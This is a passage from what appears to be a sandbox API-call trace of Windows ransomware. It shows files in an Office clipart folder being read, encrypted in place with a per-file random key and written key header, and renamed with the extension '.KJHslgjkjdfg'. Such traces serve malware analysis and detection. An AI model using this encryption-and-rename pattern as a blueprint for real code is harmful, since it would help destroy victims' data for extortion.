dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.050] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0217.052] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.052] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.052] GetProcessHeap () returned 0x2ef0000 [0217.052] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.052] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.052] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.052] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.052] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.052] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.052] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.052] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.053] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.053] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.053] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.053] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa34, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa34, lpOverlapped=0x0) returned 1 [0217.053] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa40, dwBufLen=0xa40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa40) returned 1 [0217.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.053] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa40, lpOverlapped=0x0) returned 1 [0217.053] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.053] SetEndOfFile (hFile=0x130) returned 1 [0217.055] GetProcessHeap () returned 0x2ef0000 [0217.055] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.055] GetProcessHeap () returned 0x2ef0000 [0217.055] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.055] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf.kjhslgjkjdfg")) returned 1 [0217.057] CloseHandle (hObject=0x130) returned 1 [0217.057] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02448_.WMF", cAlternateFileName="")) returned 1 [0217.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.059] GetProcessHeap () returned 0x2ef0000 [0217.059] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.059] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.059] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.059] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.059] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.059] GetProcessHeap () returned 0x2ef0000 [0217.059] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.059] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.059] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.059] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.063] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.063] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.063] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.063] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.063] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.063] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.063] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8a0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8a0, lpOverlapped=0x0) returned 1 [0217.064] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8a0, dwBufLen=0x8a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8a0) returned 1 [0217.064] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.064] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8a0, lpOverlapped=0x0) returned 1 [0217.064] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.064] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.064] SetEndOfFile (hFile=0x130) returned 1 [0217.067] GetProcessHeap () returned 0x2ef0000 [0217.067] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.067] GetProcessHeap () returned 0x2ef0000 [0217.067] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.067] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf.kjhslgjkjdfg")) returned 1 [0217.068] CloseHandle (hObject=0x130) returned 1 [0217.068] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02450_.WMF", cAlternateFileName="")) returned 1 [0217.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.069] GetProcessHeap () returned 0x2ef0000 [0217.069] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.069] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.070] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.070] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.072] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.072] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.072] GetProcessHeap () returned 0x2ef0000 [0217.072] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.072] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.072] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.072] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.072] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.072] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.072] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.072] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.072] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.073] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.073] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.073] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc28, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc28, lpOverlapped=0x0) returned 1 [0217.073] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc30, dwBufLen=0xc30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc30) returned 1 [0217.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.073] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc30, lpOverlapped=0x0) returned 1 [0217.073] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.073] SetEndOfFile (hFile=0x130) returned 1 [0217.075] GetProcessHeap () returned 0x2ef0000 [0217.076] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.076] GetProcessHeap () returned 0x2ef0000 [0217.076] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.076] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf.kjhslgjkjdfg")) returned 1 [0217.077] CloseHandle (hObject=0x130) returned 1 [0217.078] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02451_.WMF", cAlternateFileName="")) returned 1 [0217.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.080] GetProcessHeap () returned 0x2ef0000 [0217.080] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.080] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.080] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.080] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.080] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.080] GetProcessHeap () returned 0x2ef0000 [0217.080] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.080] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.080] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.080] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.082] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.082] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.082] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.082] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.082] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.083] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.083] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.083] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd70, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd70, lpOverlapped=0x0) returned 1 [0217.083] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd70, dwBufLen=0xd70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd70) returned 1 [0217.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.083] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd70, lpOverlapped=0x0) returned 1 [0217.083] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.083] SetEndOfFile (hFile=0x130) returned 1 [0217.085] GetProcessHeap () returned 0x2ef0000 [0217.085] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.085] GetProcessHeap () returned 0x2ef0000 [0217.086] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.086] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf.kjhslgjkjdfg")) returned 1 [0217.087] CloseHandle (hObject=0x130) returned 1 [0217.087] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd3c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02453_.WMF", cAlternateFileName="")) returned 1 [0217.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.088] GetProcessHeap () returned 0x2ef0000 [0217.088] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.088] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.088] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.090] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.090] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.090] GetProcessHeap () returned 0x2ef0000 [0217.090] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.090] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.090] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.090] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.090] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, 